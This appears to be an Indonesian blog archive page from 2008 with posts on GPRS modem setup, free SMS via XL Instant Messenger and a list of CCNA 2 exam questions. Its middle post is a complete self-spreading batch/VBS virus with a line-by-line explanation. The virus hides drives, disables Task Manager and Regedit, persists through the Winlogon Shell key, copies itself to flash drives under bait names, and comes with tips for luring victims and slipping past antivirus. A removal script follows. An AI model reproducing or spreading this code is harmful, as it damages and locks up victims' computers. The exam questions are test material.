Jika GPRS sudah aktif, carilah konektor yang sesuai dengan ponsel dan komputer/laptop Anda. Asalkan kedua ponsel memilikinya, Anda dapat menggunakan kabel data, infrared dan bluetooth sebagai penghubung antara ponsel dan komputer/laptop. Harga kabel data untuk setiap ponsel bervariasi, umumnya berkisar 250 ribu sampai dengan 500 ribu rupiah.

Jika pada layar komputer muncul pesan adanya modem yang terdeteksi ketika ponsel dihubungkan, maka siapkan driver modem yang disertakan dalam box ponsel. Pada beberapa versi Windows, seringkali dibutuhkan driver untuk melengkapi instalasi. Jika driver tidak ditemukan, Anda disarankan untuk men-download melalui situs vendor (perusahaan pembuat) yang bersangkutan di internet. Modem yang telah terinstalasi dapat dilihat melalui Start> Control Panel> Phone/Modem Options. Selanjutnya pilih modem yang telah dikenali dan tekan tombol Properties. Klik tab Properties > Advance. Pada kotak teks Extra Setting masukkan isian sebagai berikut: AT+CGDCONT=1, “IP”, “APN”. APN atau Access Point Name diisi dengan APN masing-masing operator misalkan internet (Telkomsel), satelindogprs.com (Matrix), www.indosat-m3.net (IM3), atau www.xlgrps.net (XL). Sebagai contoh jika Anda menggunakan Telkomsel: AT+CGDCONT=1, “IP”, “internet”. Sedangkan jika Anda menggunakan Matrix: AT+CGDCONT=1, “IP”, “satelindogprs.com”. Tekan tombol OK untuk menyimpan pengaturan tersebut.

Selanjutnya buatlah konfigurasi dial-up melalui Dial-Up Networking atau Network Connections. Masukkan nomor akses, user, dan password sesuai dengan operator ponsel yang digunakan.

Bagi Network Administrator hal ini sangat bermanfaat untuk meremote server dan melakukan monitoring jaringan.

Selamat Berinternet !!!

SERTIFIKASI JENI 1 TKJ-POLTEK

2008-04-14T21:08:00.000-07:00

HAL YANG LUAR BIASA
BISA DICAPAI OLEH ORANG BIASA
DENGAN USAHA YANG LUARA BIASA..

SMOGA KALIAN LULUS SEMUA
AMIIIINNN

Bikin Virus quick batch

2008-04-08T12:58:00.000-07:00

To the point aja. Setiap kali saya online internet, saya selalu sempatkan diri untuk mampir di situs jasakom ini.
Dengan hampir membaca semua artikel yang berhubungan dengan registry dan virus, atas nama logika yang saya punya, saya berhasil membuat sebuah program yang menurut saya layak disebut sebagai virus, walaupun masih virus-virusan.
Kenapa saya pede sekali dengan menyebut program ini sebagai virus? Karna program yang saya buat dengan mengunakan software QuickBFC ini, bisa membelah diri (apabila dieksekusi)-bukankah salah satu ciri dari virus adalah dapat menggandakan diri- dan program ini juga masih sanggup untuk menyebar ke flashdisk(atau memory card) yang terdefault ke drive F:\. Jelas layak kan program yang satu ini di sebut sebagai virus(-virusan). Dan program ini juga tidak akan merusak file ataupun menghapusnya, Cuma buat iseng doang ko, cuma main-main diregistry.
Oke, karna saya rasa basa-basinya udah kebanyakan mari kita mulai.
Tapi sebelumnya saya mau mengucapkan terimakasih dulu buat si tomPLIX yang udah nulis artikel “Bikin Virus Dengan Perintah CMD”, karna program ini adalah pemikiran lanjutan setelah saya baca artikel itu. Dan juga tidak lupa rasa termakasih yang sebesar besarnya buat mas Wardana, R, S. yang udah ngenalin saya dengan pemrograman lewat bukunya; “Pemrograman Virus dan Spyware (uncensored)”, diterbitkan oleh jasakom.
Oke di mulai dari apa yang dibutuhkan. Yang dibutuhkan adalah :
1. Software Quick Batch File Compiler (Quickbfc) http://www.abyssmedia.com/
(apa gunanya..?: software ini bisa menjadikan file .bat menjadi file .exe (executable). Karna virus yang akan kita buat ini bekerja dengan perintah CMD. Dan ada satu kegunaan software ini lagi, yaitu menyembunyikan jendela console. Jadi file .exe yang dibuat, ketika di run(jalankan) tidak menampilkan jendela console tapi tetap bekerja!! Hebat kan neh software.
2. Software Icon Changer
(apa gunanya???: lo ga mau kan virus buatan lo udah di apus duluan karna iconnya aneh dan mencurigakan. Nah, Icon Changer ini diperlukan untuk mencari Icon yang dimiliki oleh Windows, downloadnya di http://www.shelllabs.com/.
3. Kemauan untuk memahami perintah-perintah CMD, Visual Basic Script (VBS) dan ga takut bermain di RegEdit.
Oke, semua udah siap. Mari dimulai, jalan kan software Quick bfc, lalu ketik script dibawah ini:
1. @echo off
2. If exist c:\windows\exploler.exe Goto lanjut
3. for %%a in (*.exe) do if %%~za equ 123456 copy "%%a" %systemroot%\exploler.exe
4. copy c:\windows\exploler.exe c:\”rahasia gua”.exe
5. echo on error resume next>c:\windows\gila.vbs
6. echo Dim WshShell, f1, fso, f2>>c:\windows\gila.vbs
7. echo set WshShell = CreateObject("Wscript.Shell")>>c:\windows\gila.vbs
8. echo set fso = CreateObject("Scripting.FileSystemObject")>>c:\windows\gila.vbs
9. echo set f1 = fso.GetFile("C:\WINDOWS\exploler.exe")>>c:\windows\gila.vbs
10. echo set f2=fsoGetFile(“C:\windows\gila.vbs”)>>c:\windows\gila.vbs
11. echo f1.Attributes = "3">>c:\windows\gila.vbs
12. echo f2.Attributes =”3”>>c:\windows\gila.vbs
13. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD">>c:\windows\gila.vbs
14. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "29", "REG_DWORD">>c:\windows\gila.vbs
15. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive", "29", "REG_DWORD">>c:\windows\gila.vbs
16. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools", "1", "REG_DWORD">>c:\windows\gila.vbs
17. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD">>c:\windows\gila.vbs
18. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD">>c:\windows\gila.vbs
19. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", "1", "REG_DWORD">>c:\windows\gila.vbs
20. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://fanaticanz.blogspot.com", "REG_SZ">>c:\windows\gila.vbs
21. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe C:\WINDOWS\exploler.exe", "REG_SZ">>c:\windows\gila.vbs
22. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "rastaman", "REG_SZ">>c:\windows\gila.vbs
23. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "fanatiCanz", "REG_SZ">>c:\windows\gila.vbs
24.
25. :lanjut
26. call c:\windows\gila.vbs
27. if exist c:\legalin_ganja_dong_by_fanatiCanz.exe goto ceki
28. for /R c:\ %%d in (legalin_ganja_dong_by_fanatiCanz.exe) do copy c:\windows\exploler.exe "%%d"
29. Goto ceki
30.
31. :infek1
32. for %%a in (*.exe) do if %%~za equ 12345 copy "%%a" %systemroot%\exploler.exe
33. Goto ceki
34.
35. :infek2
36. Copy c:\windows\exploler.exe c:\”gambar lucu”.exe
37. Goto ceki
38.
39. :infek3
40. Copy c:\windows\exploler.exe f:\”koleksi kartun flash”.exe
41. Goto ceki
42.
43. :cekf
44. if exist f:\”koleksi kartun flash”.exe Goto ceki
45. Goto infek3
46.
47. :ceki
48. if not exist c:\windows\exploler.exe Goto infek1
49. if not exist c:\”gambar lucu”.exe Goto infek2
50. if exist f:\ Goto cekf
51.
52. Goto ceki
Waaahhhh……… panjang ya?jangan bilang iya, soale mungkin nanti disaat menjadi programer betulan, 52 baris sih masih sangat amat enteng sekali!!! Mungkin nanti bakalan punya proyek yang jumlahnya ribuan atau mungkin puluhan ribu baris, jadi jangan menyerah Cuma karna 52 baris diatas.
Sebetulnya tanpa software quickbfc, masih bisa ko bikin virus(-virusan) ini dan script diatas ditulis dengan menggunakan notepad, lalu di simpan dengan ektensi-nya harus .bat. Dan emang kalo mau nyoba bikin pake notepad trus disimpen dengan ektensi .bat, ada perintah yang bisa diganti, yakni perintah baris ke-3 dan 33 yang “for %%a in dst….” Diganti jadi “copy %0 tujuan dan nama file nya”.
Tapi kan kalo nyebarin dengan ektensi .bat kan teramat mencurigakan, mendingan pake quickbfc lalu compile dengan ektensi .exe namanya terserah, contoh:cewe_telanjang.exe (icon nya juga yang sexi, biar lebih mantap), gua yakin para muka mesum akan langsung menjadi korban (heehehe)!!! Dan berdoalah semoga kompie calon korban ngga pake anti virus!.
Oke kalo kamu masih sanggup dan masih mau ngebaca tulisan ini, kamu bakalan dapet penjelasan dari script diatas!
Dan penjelasannya adalah:
Baris
53. Ini Cuma perintah dasar cmd yang tidak akan menampilkan perintah yang harusnya tertulis di console cmd. (dipikir-pikir ngapain juga yach? Kan ini adalah proyek ghost application! Tapi bodo ah!!)
54. Ini perintah untuk mengecek keberadaan file explorer.exe di drive c:\windows. Kalo udah ada kan berarti udah diinfek, dan akan langsung menuju parameter perintah lanjut, tapi kalo belum ada maka akan dilanjutkan ke baris selanjutnya.
55. perintah untuk menyalin program ini ke folder c:\windows dengan nama explorer.exe yang selanjutnya akan menjadi file induk program ini. Sebetulnya kalo dibikinnya pake notepad dan disimpan dengan ektensi .bat maka perintah “for %%a in (*.exe) do if %%~za equ 123456 copy "%%a" %systemroot%\exploler.exe” diganti jadi “copy %0”. Nah, kalo pake software Quickbfc perintah “copy %0” tidak berfungsi. (lengkapnya baca artikel siTomplix yang judulnya Bikin Virus Dengan Perintah CMD)
56. perintah untuk menyalin file explorer.exe di drive c:\windows\ ke drive c:\ dengan nama “rahasia gua.exe
57. perintah di baris ini sampai baris 23 adalah perintah yang menggunakan parameter > dan >> untuk membuat sebuah file Visual Basic Script yang bernama gila.vbs. Disinilah kesaktian program ini, kalau berhasil dieksekusi (kenapa kalau..? ya karna ada beberapa anti virus yang memblok akses ke registry –antivirus yang saya pake ANTIvir, file .vbs ini berjalan mulus –berarti sukses. Tetapi ketika saya coba pake xxxx ada warning dan mempertanyakan file itu boleh dieksekusi atau dihapus atau dikarantin-.

Sukur-sukur si calon korban ga make anti virus, tentram damai program ini jalan. Kenapa harus make file Visual Basic Script aja untuk entry ke registry? Jawabannya adalah file Visual Basic Script ini tidak hanya untuk mengisi registry saja. Ada satu lagi fungsi dari virus ini, yaitu mengganti attribute file explorer di drive c:\windows\ menjadi Hidden. Lagian juga kalo ngisi registry pake ektensi .reg bakalan ada pertanyaan “are you sure want to add the information in nama_file.reg to the registry?” ga efisien banget kan? Oke, kembali ke….? Registry. Dan registry yang di isi adalah :
1. Menghilangkan menu RUN
2. Menyembunyikan drive A, C, D dan E di windows explorer
3. Menyembunyikan semua file di drive A, C, D dan E windows explorer (bakalan ada pembatasan!)
4. Men-disable kan menu RegEdit
5. Menghilangkan menu Folder Option
6. Menghilangkan menu Search
7. Mendisable kan Task Manager (ctrl+alt+del tidak bisa digunakan)
8. Mengganti alamat default Internet Explorer menjadi http://fanaticanz.blogspot.com
9. Menjadikan file exploler.exe di drive c:\windows yang tadi disalin(copy) selalu dijalankan ketika computer di hidupkan lagi walaupun windows masuk ke dalam safe mode!
10. Entry yang ini bakalan merubah nama owner organitation(coba deh kalian klik kanan di my computer trus pilih properties, dan liat di situ ada tulisan "registered to:”) nah, entry yang satu ini akan merubah nama organization yang tadinya apapun menjadi “rastaman”
11. Sama, entry yang satu ini juga merubah nama owner (cek lagi aja di properties my computer) yang tadinya apapun menjadi “fanaticanz”
Puh.. selesai juga tentang Registry…. Masih mau lanjut???? lanjut mang……………
24. kosong
25. ini parameter yang membuat kumpulan perintah yang terdiri dari baris 26 – 28
26. ini perintah yang akan mengeksekusi file gila di folder c:\windows
27. ini perintah yang mempertanyakan keberadaan file legalin ganja dong by fanatiCanz.exe, jika ada maka akan langsung dirujuk menuju parameter perintah ceki
28. ini perintah untuk menggandakan file induk exploler.exe yang ada di drive C:\windows\ ke seluruh folder dan subfolder yang ada di drive c:\ dengan nama legalin_ganja_dong_by_fanatiCanz.exe ((((thank’s a lot for tomplix))))
29. ini perintah untuk langsung menuju parameter perintah ceki (baris 47)
30. kosong
31. ini parameter yang membuat kumpulan perintah bernama infek1 yang berisikan perintah dari baris 33 – 34
32. perintah ini untuk menyalin file program ini dan sedang dijalankan (eksekusi) ke folder c:\windows dengan nama exploler.exe
33. ini perintah yang merujuk langsung ke parameter perintah ceki
34. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
35. parameter yang membuat kumpulan perintah bernama infek2 yang berisikan perintah dari baris 37 – 38.
36. ini perintah untuk menyalin file induk exploler.exe ke drive c:\ dengan nama gambar lucu.exe
37. ini perintah yang langsung merujuk ke perintah ceki
38. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
39. ini parameter yang membuat kumpulan perintah bernama indek3 yang berisikan perintah dari baris 41 – 42
40. ini perintah untuk menyalin file induk exploler.exe ke drive f:\ dengan nama koleksi kartun flash.exe
41. ini perintah yang merujuk langsung ke parameter perintah ceki
42. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
43. ini parameter yang membuat kumpulan perintah bernama cekf yang berisikan kumpulan perintah dari baris 45-46
44. ini perintah yang mempertanyakan keberadaan file koleksi kartun flash.exe di drive f:\. Jika tidak maka akan dilanjutkan ke parameter perintah infek3. Tapi jika file terebut sudah ada, itu berarti sudah diinfek maka akan dilanjutkan ke perintah pada baris selanjutnya.
45. ini perintah yang langsung merujuk kepada parameter perintah ceki
46. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
47. ini parameter yang membuat kumpulan perintah bernama ceki yang berisikan kumpulan perintah dari baris 49-51.
48. ini perintah untuk mempertanyakan keberadaan file exploler.exe di drive c:\windows, kalo ga ada itu berarti file induk program ini berhasil (sudah) dihapus, maka akan dilanjutkan ke parameter perintah infek1 dengan perintah yang sama pada baris 3 dan 33.
49. ini perintah untuk mempertanyakan keberadaan file gambar lucu.exe di drive c:\, kalo ga ada maka bakal dilanjutin ke perintah infek2
50. ini perintah untuk mengetahui ada tidaknya drive f:\ kalo ada maka bakal dilanjutin ke perintah infek3, tapi kali ga ada bakal langsung menuju perintah selanjutnya
51. kosong
52. ini perintah untuk kembali lagi ke parameter perintah ceki, semcam looping lah…

Puuhhh………….. akhirnya, 80 baris yang panjang sekali ya penjelasannya (jangan dijawab iya!). Namanya juga belajar, bersusah-susah dululah, nanti bersenang-senang kalau sudah sukses kaya Mas Sto atau Mas Wardana (kedua orang ini walaupun gua ga pernah liat langsung, udah gua anggap suhu! Gapapakan mas ?).Oya buat kamu yang masih kurang mengerti penjelasan script diatas saya saranin agar kamu baca :
1. Buku “Pemrograman Virus dan SpyWare [uncensored]” karya Wardana, R, S.Hut terbitan Jasakom
2. Artikel tomPLIX yang judulnya “Membuat Virus dengan Perintah CMD” di situs jasakom.com
3. semua yang berhubunagn dengan registry
Masih pada keukeuh baca tulisan ini, kalau iya, gua kasih script pemulih nya deh sekalian, ga adil dong, masa ngasih penyakitnya doang! (iya ga?)
Script Pemulih nya sebagai berikut ;
1. @echo off
2. title Script Pemulih virus-virusan –rasta-Farian.B
3. echo on error resume next>c:\gila.vbs
4. echo Dim WshShell, f1, fso>>c:\gila.vbs
5. echo set WshShell = CreateObject("Wscript.Shell")>>c:\gila.vbs
6. echo set fso = CreateObject("Scripting.FileSystemObject")>>c:\gila.vbs
7. echo set f1 = fso.GetFile("c:\windows\exploler.exe")>>c:\gila.vbs
8. echo set f2 =fso.GetFile(“c:\windows\gila.vbs”)
9. echo f1.Attributes = "0">>c:\gila.vbs
10. echo f2.Attributes = “0”>>c:\gila.vbs
11. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "0", "REG_DWORD">>c:\gila.vbs
12. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools", "0", "REG_DWORD">>c:\gila.vbs
13. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrives", "0", "REG_DWORD">>c:\gila.vbs
14. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "0", "REG_DWORD">>c:\gila.vbs
15. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "0", "REG_DWORD">>c:\gila.vbs
16. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", "0", "REG_DWORD">>c:\gila.vbs
17. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe", "REG_SZ">>c:\gila.vbs
18. call c:\gila.vbs
19. pause
20. Goto del1
21. kosong
22. :del1
23. del %systemroot%\exploler.exe
24. pause
25. Goto del2
26.
27. for /R c:\ %%d in (legalin ganja dong by fanatiCanz.exe) do del "%%d"
28. pause
29. Goto del3
30.
31. :del3
32. del c:\"gambar lucu".exe
33. pause
34.
35. :del4
36. del %systemroot%\gila.vbs
37. pause
Ga banyak yang bisa dijelasin dari script diatas, kalo lo mahamin script virus(-virusannya) lo bakalan dengan mudah mengerti script diatas. Dari baris 3 sampe 16 dibikin file gila.vbs yang akan membuat normal semua key yang disebabkan program virus(-virusan) tadi. Terus di baru 17 dieksekusi file gila.vbs dan bakalan langsung menuju perintah del 1 yang berisikan perintah untuk menghapus file induk program tadi. Kalo selesai bakalan dilanjutin ke perintah del2, yang akan menghapus file legalin ganja dong by fanatiCanz.exe di seluruh folder dan seub folder di drive c:\. Terus dilajnutin keperintah selajutnya, dan seterusnya.
Script pemulih ini bisa dibuat juga dengan menggunakan notepad lalu simpan dengan extensi .bat. Untuk merasakan khasiat dari script pemulih diatas, jalankan script pemulih tersebut lalu masuk ke dalam Task manager (kan udah dipulihin, jadi task manager udah bisa di control), di dalam menu Process mastikan proses yang namanya, exploler.exe, cmd.exe (end process), setelah semua proses yang namanya CMD.exe, legalin ganja dong by fanatiCanz.exe dan proses exploler.exe dihapus, Jalankan sekali lagi script pemulihnya sampe selesai dan terakhir restart komputernya, dijamin uang kembali, setelah semua “ritual” diatas selesai, computer yang terinfek akan kembali seperti semula.
Viva O Muerte!!
fanatiCanz thank's to:
1. Tuhan YME, atas ganja dan semua kedamaian di alamNya ( kota tidak termasuk, hanya pantai, gunung, lembah, dan semuanya yang masih murni karya Tuhan)
2. orang-orang yang tulisannya jadi bahan acuan nih artikel : tomPLIX, natans_hacker, Mas Wardana, rename-rename (yang nulis “Anti Deletion File”) dan scarebyte
3. Bequni D GanjaMan –http://sibequni.blogspot.com– (thank's for your spirit and your soul!) ~kenapa hati sama otak jarang banget bisa nyambung, ya?
4. Bokap - Nyokap
5. My lit.Sis ‘n Bro –Putri–Adnan–Asya– (maaf ya, computer kalian harus dibawa dulu)
6. Anisa Agustina –wuih.. hidden spiritnya banyak banget..! makasih, yah!
7. Devi Akhsari –kapan kapan boleh ngobrol…?
8. Barudak Angkasa Pura 2 yang masih setia manggil gua si_bego
9. yang nemuin/nyiptain Internet
10. Wiji Thukul & Che Guevara (karna perjuangannya telah melahirkan semangat juang dalam diri ini!)
11. Iwan Fals & Bob Marley (Sumpah, lirik lagunya banyak nyemangatin gua!!)
12. Dan terimakasih yang sebanyak-banyaknya buat kamu yang udah mau baca tulisan ini sampai huruf terakhir.. hiks..hiks.. (!terharu saya jadinya!)
Dan terakhir (lagi lagi terakhir.. ;-), izinkanlah saya untuk membacakan (baca:mengetikan) sebuah puisi karya Wiji Thukul :
Kemerdekaan
Kemerdekaan mengajarkan aku berbahasa
membangun kata-kata
dan mengucapkan kepentingan
kemerdekaan
mengajar aku menuntut
dan menulis surat selebaran
kemerdekaanlah yang membongkar kuburan ketakutan dan menunjukkan jalan
kemerdekaan adalah gerakan yang tak terpatahkan!
Kemerdekaan
Selalu di garis depan!!

Free SMS via PC with XL Instant Messenger

2008-04-07T07:03:00.000-07:00

Selama ini banyak yang sudah mengenal free sms dari internet melalui situs2 produk Indosat, yakni mentari, IM3, dan star one. Namun dari website CDMA Indosat tersebut kami mendapatkan informasi bahwa produk2 tersebut tidak lama lagi hanya akan menggunakan satu domain yakni http://www.indosat.com. Kira2 masih bisa free sms lagi engga ya?

Nah, kabar baik bagi pelanggan Excelcomindo (XL). Beberapa hari yang lalu kami mendapat sms dari nomer layanan XL (818), yang memberikan informasi tentang adanya fitur free sms via PC ke ponsel, namanya XL Instant Messenger (XL_IM).
Namun baru sempat mencoba kemaren, dan sukses

Ternyata cara kerjanya mirip dengan YM to Mobile, bedanya kalo menggunakan YM, bila ingin bisa menerima pesan dari teman yang OL, sebelum sign out kita harus harus sign in ke nomer HP yang terdaftar di YM. Syarat untuk bisa menerima pesan selanjutnya, kita harus mereply setelah pesan keempat diterima.

Pada XL Instant Messenger, nomer2 yang akan di-sms dari PC haruslah udah terdaftar (via sms). XL Instant Messenger ini bisa untuk mengirim pesan ke ponsel ke berbagai negara, termasuk Filipina, AS, UK, Jepang, India, Guam, Saipan atau Thailand, tanpa biaya! Penerima pesan dapat langsung membalasnya ke PC tanpa harus men-download apapun. Sementara ujicoba saya hanya bisa sms ke nomer XL doang

Cara menggunakan XL Instant Messenger di ponsel

Untuk mendaftar "unified account" dengan menggunakan ponsel:
Untuk pengguna XL: Kirim REG ke 2828
Contoh: REG Elen

Membalas pesan XL Instant Messenger

Tidak perlu mengingat short code atau keyword apapun untuk membalas pesan XL Instant Messenger yang diterima di ponsel. Langsung membalas pesan yang diterima seperti membalas pesan SMS.

Mengirim Pesan

GRATIS kirim SMS dari PC, tetapi hanya untuk 20 SMS. Untuk menambah "SMS credits", teman harus membalas ke XL IM kita, setidaknya 1 kali. Ini merupakan fitur antispam. Meski ternyata limited, lumayan lah 20 sms Dikenakan tarif VAS yang sama (Rp 500/SMS) untuk pengiriman pesan ke XL Instant Messenger dari ponsel. Gpp deh, teman berkorban 500 perak buat reply, kan selanjutnya free Oya, selama promosi (s.d 30 Nopember 2007) reply ke PC adalah GRATIS.
Pengguna PC dan ponsel

1. Download XL IM di sini.
2. Login dengan menggunakan nomer ponsel dan password, maka teman2 akan menerima pesan seolah-olah dikirim dari ponsel.
Tidak ada pesan yang terlewat. Terus menerima pesan di manapun berada bahkan saat jauh dari PC. Dengan unified account, XL IM akan menjadi pelengkap untuk handphone.

Pengguna PC

Untuk membuat PC account, kunjungi registration.

1. Setelah download dan menginstall XL IM, Buatlah XL IM ID, undang semua teman pengguna PC dan ponsel, dan mulailah berkirim pesan.
2. Pesan pertama yang diterima ponsel merupakan langkah awal untuk membuat numberlist seperti halnya friendlist pada YM. Nomer yang akan di-sms haruslah udah terdaftar (dari ponsel)
Menerima Pesan

- Dari PC ke Ponsel

Di Indonesia, menerima pesan dari XL Instant Messenger di ponsel adalah gratis!

JAWABAN FINAL CCNA 2

2008-04-04T10:30:00.003-07:00

1 What are some reasons to change the configuration register setting? (Choose two.)
• to force the system to ignore the configuration file stored in NVRAM
• to monitor password changes
• to change the POST sequence
• to force the router to boot the IOS from NVRAM
• to force the system into ROM monitor mode

2 Given the output shown in the exhibit, in what order and location will the router search for the IOS if no boot system commands are found in the startup-config file?
• ROM, Flash, TFTP server
• Flash, NVRAM, RAM
• ROM, TFTP server, Flash
• RAM, Flash, NVRAM
• Flash, TFTP server, ROM

3 Which statements are true regarding setup mode? (Choose three.)
• Press Ctrl-z to terminate setup mode.
• Enter a question mark (?) for help at any point.
• Press Spacebar to accept the default settings.
• Use setup mode to enter complex protocol features.
• Press Enter to accept the default settings.
• Press Ctrl-c to abort configuration dialog.

4 What are two possible reasons for this result? (Choose two.)
• The startup-config file was not saved to RAM before reboot.
• The IOS has been erased.
• The router has not been configured.
• The startup-config file cannot be located.
• The router will not enter initial configuration dialog.

5 A new technician must add boot system commands to one of the department routers. Which available commands will the router return as output when the command shown below is entered? (Choose two.)

Router(config)# boot system ?

• RAM
• NVRAM
• IOS
• IP Address
• TFTP
• FLASH

6 Router A and Router B have been correctly configured to use RIP as a dynamic routing protocol and all intefaces on Router A and Router B are reporting "interface is up, line protocol is up" status. RIP is then configured on Router C using the following commands:
RouterC(config)# router rip
RouterC(config-router)# network 192.168.4.0
RouterC(config-router)# network 172.16.0.0
If no additional routing is configured on Router A, Router B, and Router C, what will be the result?

• Networks 192.168.12.0/24, 192.168.4.0/24, and 172.16.0.0/16 will be unreachable from Router A.
• Router A will have no knowledge of network 192.168.12.0/24, but will have routes to networks 192.168.4.0/24 and 172.16.0.0/16.
• All networks shown in the graphic will be reachable by Router A, Router B, and Router C.
• Networks 192.168.4.0/24 and 172.16.0.0/16 will be unreachable from Router A and Router B.

7 The Suffolk router is directly connected to the networks shown in the graphic and has a default route that points to the Richmond router. All interfaces are active and properly addressed. However, when the workstation on network 172.29.5.0/24 sends a packet to destination address 172.29.198.5, it is discarded by the Suffolk router. What can be a reason for this result?
• The ip classless command is not enabled on the Richmond router.
• The route was ignored if the Richmond router did not include the 172.29.198.0/24 network in its routing updates.
• The Richmond router is in a different autonomous system than the Suffolk router.
• The ip subnet-zero command was not configured on the Suffolk router.
• The ip classless command is not enabled on the Suffolk router.

8 A network administrator has enabled RIP on routers B and C in the network diagram. Which of the following commands will prevent RIP updates from being sent to Router A?

• A(config)# router rip
A(config-router)# passive-interface S0/0

• B(config)# router rip
B(config-router)# network 192.168.25.48
B(config-router)# network 192.168.25.64

• A(config)# router rip
A(config-router)# no network 192.168.25.32

• B(config)# router rip
B(config-router)# passive-interface S0/0

• A(config)# no router rip

9 Which router component stores the information that is displayed by the show running-config command?
• flash
• NVRAM
• RAM
• ROM

10 If a PC does not have network connectivity to a router, which router port can be used to establish communication?
• console
• Ethernet
• serial
• VTY

11 What information can be learned during the initial router bootup? (Choose two.)
• the configuration register value
• the number and types of interfaces installed
• the router model and the amount of memory that is available
• the amount of memory required to load the IOS and configuration
• the number of interfaces with connected cables

12 Which devices can be used to convert the data from a WAN router at the customer site into a form acceptable for use by the WAN service provider? (Choose three.)
• Ethernet switch
• DTE
• modem
• hub
• DCE device
• CSU/DSU

13 What are the primary functions of a router? (Choose two.)
• determine the best path for packets
• prevent collisions on the network LAN
• regulate flow control between sender and receiver
• provide domain name resolution
• forward packets to the appropriate interface

14 Which of the following are correct statements verified by the router output shown in the graphic? (Choose two.)
• Layer 3 connectivity exists between BigCity and the devices in the Device ID column.
• Layer 2 connectivity exists between BigCity and the devices in the Device ID column.
• All devices shown in the Device ID column use the TCP/IP protocol suite.
• All devices shown in the Device ID column can be pinged from BigCity.
• All devices listed in the Device ID column are directly connected to BigCity.

15 What are the results of setting the boot field bits in the configuration register to "0000"? (Choose two.)
• The startup-config file will be ignored at bootup.
• The router will load the IOS from Flash.
• The router will enter ROM monitor mode upon reload.
• The router will enter boot ROM mode and have limited capabilities.
• The administrator can enter the b command to manually boot the IOS.

16 What can a network administrator do to recover from a lost router password?
• perform a reload or reset
• telnet from another router and issue the show running-config command to view the password
• boot the router to ROM monitor mode and configure the router to ignore NVRAM when it initializes
• boot the router to bootROM mode and enter the b command to load the IOS manually

17 Which router components and operations are correctly described? (Choose two.)
• RAM - stores the ARP cache
• NVRAM - store the operating system
• ROM - stores the backup IOS
• POST - verifies the validity of the running-config
• Flash - executes diagnostics at bootup
• DRAM - loads the bootstrap

18 Which of the following commands will correctly configure an extended ACL? (Choose two).
• Router(config)# access-list 18 permit tcp host 192.168.73.3 eq 25
• Router(config)# access-list 102 permit tcp 10.43.0.0 0.0.255.255 any eq 80
• Router(config)# access-list 187 permit tcp host 192.168.42.34 172.29.0.0 0.0.255.255 eq 23
• Router(config)# access-list 99 permit host 10.217.32.3
• Router(config)# access-list 128 permit tcp host 192.168.100.31 eq 23

19 The following access list has been created to prevent traffic from the 192.0.2.63 host on the Sales LAN from accessing servers and hosts on the Payroll LAN.
access-list 26 deny host 192.0.2.63
access-list 26 permit any
Refer to the exhibit. Which group of commands will properly place the access list so that only the host on the Sales LAN is denied access to the 172.29.7.0 network but all other traffic is permitted?

• Payroll(config)# interface fa0/0
Payroll(config-if)# ip access-group 26 out

• Payroll(config)# interface fa0/1
Payroll(config-if)# ip access-group 26 out

• Sales(config)# interface fa0/1
Sales(config-if)# ip access-group 26 in

• Sales(config)# interface fa0/0
Sales(config-if)# ip access-group 26 out

20 Refer to the graphic. Communication is needed between the LAN connected to the fa0/0 interface of the Kansas router and the fa0/0 interface of the Maine router. All hosts on those LANs also need connectivity to the Internet. Which commands will allow this communication? (Choose three).
• Kansas(config)# ip route 192.168.6.0 255.255.255.0 172.18.64.2
• Kansas(config)# ip route 192.168.6.0 255.255.255.0 s0/1
• Kansas(config)# ip route 0.0.0.0 0.0.0.0 s0/1
• Maine(config)# ip route 192.168.6.0 255.255.255.0 172.18.64.1
• Maine(config)# ip route 0.0.0.0 0.0.0.0 s0/1
• Maine(config)# ip route 172.16.32.0 255.255.255.0 172.18.64.2

21 A network administrator must configure a FastEthernet interface with an IP address. The configuration must also identify the remote site to which the interface is connected. Which set of commands will meet these requirements?

• StPetersburg(config)# banner San Jose T1
StPetersburg(config)# interface fa0/0
StPetersburg(config-if)# ip address 172.26.155.5 255.255.255.252

